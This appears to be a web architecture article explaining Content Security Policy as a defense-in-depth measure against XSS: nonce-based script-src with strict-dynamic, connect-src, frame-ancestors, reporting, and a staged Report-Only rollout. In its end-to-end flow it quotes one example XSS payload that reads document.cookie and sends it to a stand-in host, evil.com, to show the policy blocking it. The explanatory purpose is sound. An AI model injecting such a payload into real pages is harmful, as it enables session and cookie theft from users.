Why architecture matters here

The case for CSP is the case for assuming your other defenses will occasionally fail. Every non-trivial application has a large attack surface for injection: user-generated content, admin-configurable templates, third-party widgets, legacy pages nobody has audited. Output encoding is correct and necessary, but it is applied by hand at thousands of sites, and it takes one miss to hand an attacker script execution in your origin — which means access to the DOM, cookies (unless HttpOnly), local storage, and the ability to make authenticated requests as the user. CSP changes the payoff of that single miss from 'full compromise' to 'nothing happens,' because the injected script does not satisfy the policy and the browser refuses to run it. That is a categorical improvement in the failure mode, which is exactly what defense-in-depth is supposed to buy.

The reason the design of the policy is architectural rather than cosmetic is that the two obvious ways to write CSP are the two ways that don't work. Allowing 'unsafe-inline' — needed if your pages have inline event handlers or <script> blocks — permits exactly the injected inline scripts CSP exists to stop, so it neuters the whole control. Allowlisting host domains (script-src https://cdn.example.com) looks safer but is routinely bypassed: if any allowlisted origin hosts a JSONP endpoint, an old vulnerable library, or open user uploads, an attacker uses it to run their code from an 'allowed' source. Research on real-world CSP deployments found the majority of host-based policies trivially bypassable for these reasons. The robust design is nonce-based: the server emits a fresh random nonce per response, tags its own legitimate scripts with it, and the policy trusts only scripts carrying that nonce — which the attacker cannot guess.

strict-dynamic completes the picture. Modern apps load scripts that load more scripts; you cannot enumerate every transitively-loaded URL. strict-dynamic says: trust scripts loaded programmatically by an already-trusted (nonced) script, and ignore host allowlists entirely. This makes strict policies practical for complex applications with bundlers and dynamic imports, and it is why the current guidance is 'nonces plus strict-dynamic' rather than 'a long list of CDN hosts.'

There is a second architectural reason CSP is worth the effort: it constrains not just what runs but where a successful injection can send data. Even if an attacker managed to execute script, a tight connect-src limits the origins the page may open fetch, XHR, or WebSocket connections to, so an exfiltration attempt to the attacker's server is blocked as a second, independent layer. Combined with object-src 'none' (killing plugin and embed vectors), base-uri 'none' (preventing a injected <base> tag from rewriting every relative script URL), and frame-ancestors (stopping clickjacking), the policy is really a small bundle of independent restrictions, each closing a distinct class of attack. Treating CSP as 'the script-src line' misses most of its value; the hardening comes from the full directive set working together, which is why a strong deployment specifies the restrictive fallbacks explicitly rather than leaning on a single directive.

The trade-off is engineering effort in the right place. A strict CSP requires plumbing a per-response nonce through your templating, removing inline handlers, and inventorying every third-party script — real work. But that work is done once and protects every page against a class of bugs that would otherwise each require a separate, perfect fix. The alternative — a permissive policy that ships to satisfy a checklist — is worse than no policy, because it creates the appearance of protection while providing none.

Advertisement

The architecture: every piece explained

Top row: the enforcement loop. The CSP headerContent-Security-Policy — carries a semicolon-separated list of directives in every response. The browser engine parses it and enforces it per resource for the lifetime of that document: when the page tries to load or execute anything, the browser checks it against the relevant directive. script-src is the most important directive and the hardest: in a strong policy it lists a 'nonce-...' value (or specific hashes) plus 'strict-dynamic', meaning 'run scripts that carry this response's nonce, and scripts they load, and nothing else.' Anything that doesn't match — an injected inline script, a script from an unexpected origin — is a blocked resource: the browser refuses it and fires a violation event.

Middle row: the supporting directives and the nonce. The nonce generator lives on the server and must produce a cryptographically random value per response; the same nonce reused across responses, or a predictable one, defeats the mechanism. That nonce goes into both the header (script-src 'nonce-r4nd0m') and the nonce attribute of each legitimate <script>. Other directives scope other resource types: connect-src restricts where fetch/XHR/WebSocket may connect (limiting exfiltration destinations), img-src and style-src constrain assets, and frame-ancestors controls who may embed your page in an iframe — the modern replacement for X-Frame-Options and the defense against clickjacking. Reporting directives (report-to, and legacy report-uri) tell the browser where to POST a structured report when a resource is blocked.

Bottom rows: rollout and telemetry. Report-Only mode — sent via the Content-Security-Policy-Report-Only header — is the load-bearing rollout tool: the browser evaluates the policy and sends violation reports but does not block anything. This lets you deploy a strict policy to real traffic, watch what it would have broken, fix those cases, and only then switch to enforcing mode. The reporting endpoint collects those reports; a real deployment needs to triage them because they mix genuine attacks, legitimate resources you forgot, and a large volume of noise from browser extensions injecting scripts into your pages. The ops strip names the durable work: plumbing nonces through every template, triaging reports, staging the rollout through Report-Only, and maintaining an inventory of third-party scripts whose churn will otherwise silently break the policy or force it looser.

Content Security Policy — a browser-enforced allowlist for what a page may load and rundefense-in-depth against XSSCSP headerpolicy directivesBrowser engineenforces per-requestscript-srcnonces / hashes / strict-dynamicBlocked resourceinline / unknown originNonce generatorper-response randomconnect/img/style-srcfetch + asset originsframe-ancestorsclickjacking guardreport-to / report-uriviolation telemetryReport-Only modemeasure before enforceReporting endpointcollect + triageOps — nonce plumbing, report triage, rollout via Report-Only, third-party inventoryissuematchallowblockcomparerestrictemitoperateoperate
CSP: the server sends a policy header, the browser enforces it per resource, allowing nonce/hash-tagged scripts and known origins while blocking the rest and reporting violations.
Advertisement

End-to-end flow

Walk a request under a strict, nonce-based CSP. A user requests a page. The server generates a fresh random nonce for this response, sets Content-Security-Policy: script-src 'nonce-a1b2c3' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'; connect-src 'self' https://api.example.com; report-to csp-endpoint, and renders the HTML with that same nonce on each of its own <script> tags.

The browser receives the response and enforces the policy. The application's bundle script carries nonce="a1b2c3", matches, and executes. That bundle dynamically imports three more chunks; because the loading script was trusted and strict-dynamic is in effect, those chunks are trusted too — no need to have listed their URLs. A fetch to https://api.example.com is allowed by connect-src; a stray call to some other host would be blocked. The page cannot be framed by evil.com because frame-ancestors 'self' forbids it. So far the policy is invisible: everything legitimate works.

Now the attack. A comment field failed to escape output, and an attacker's payload <script>fetch('https://evil.com/steal?c='+document.cookie)</script> is reflected into the page. The browser reaches this inline script and checks script-src: it has no nonce (the attacker cannot know this response's random nonce), it is not 'unsafe-inline' (the policy has no such token), so the browser refuses to execute it and POSTs a violation report to csp-endpoint. Even if the attacker had instead injected an external script tag pointing at their server, strict-dynamic ignores host allowlists and the script has no nonce, so it too is blocked. The cookie is never read; the exfiltration fetch would also have been blocked by connect-src as a second layer. The injection succeeded; the exploitation did not.

The reporting side runs in parallel to all of this. Because the blocked inline script fired a violation, the browser POSTed a structured report to csp-endpoint naming the violated directive and the blocked content, and that report is a genuine attack signal — someone got an unescaped script into a page. In a mature deployment that report is deduplicated against the constant background noise of browser extensions injecting their own scripts (which also trip the policy), and a novel script-src violation from real user traffic pages the security team. So the same header that neutralized the attack also surfaced it, turning what would have been an invisible near-miss into an actionable alert — provided someone is actually watching the endpoint rather than treating it as a configuration box to tick.

The stress case is a rollout gone wrong. A team enforces a strict policy without a Report-Only phase, and a legacy admin page relies on an inline onclick handler. The policy blocks all inline script, the button silently does nothing, and because CSP violations aren't exceptions the app developer sees, the bug is reported days later as 'the admin panel is broken.' Had the policy shipped in Report-Only first, the violation report for that inline handler would have surfaced it before any user was affected — which is precisely why the staged rollout is non-negotiable, and why the reporting endpoint has to be watched, not just configured.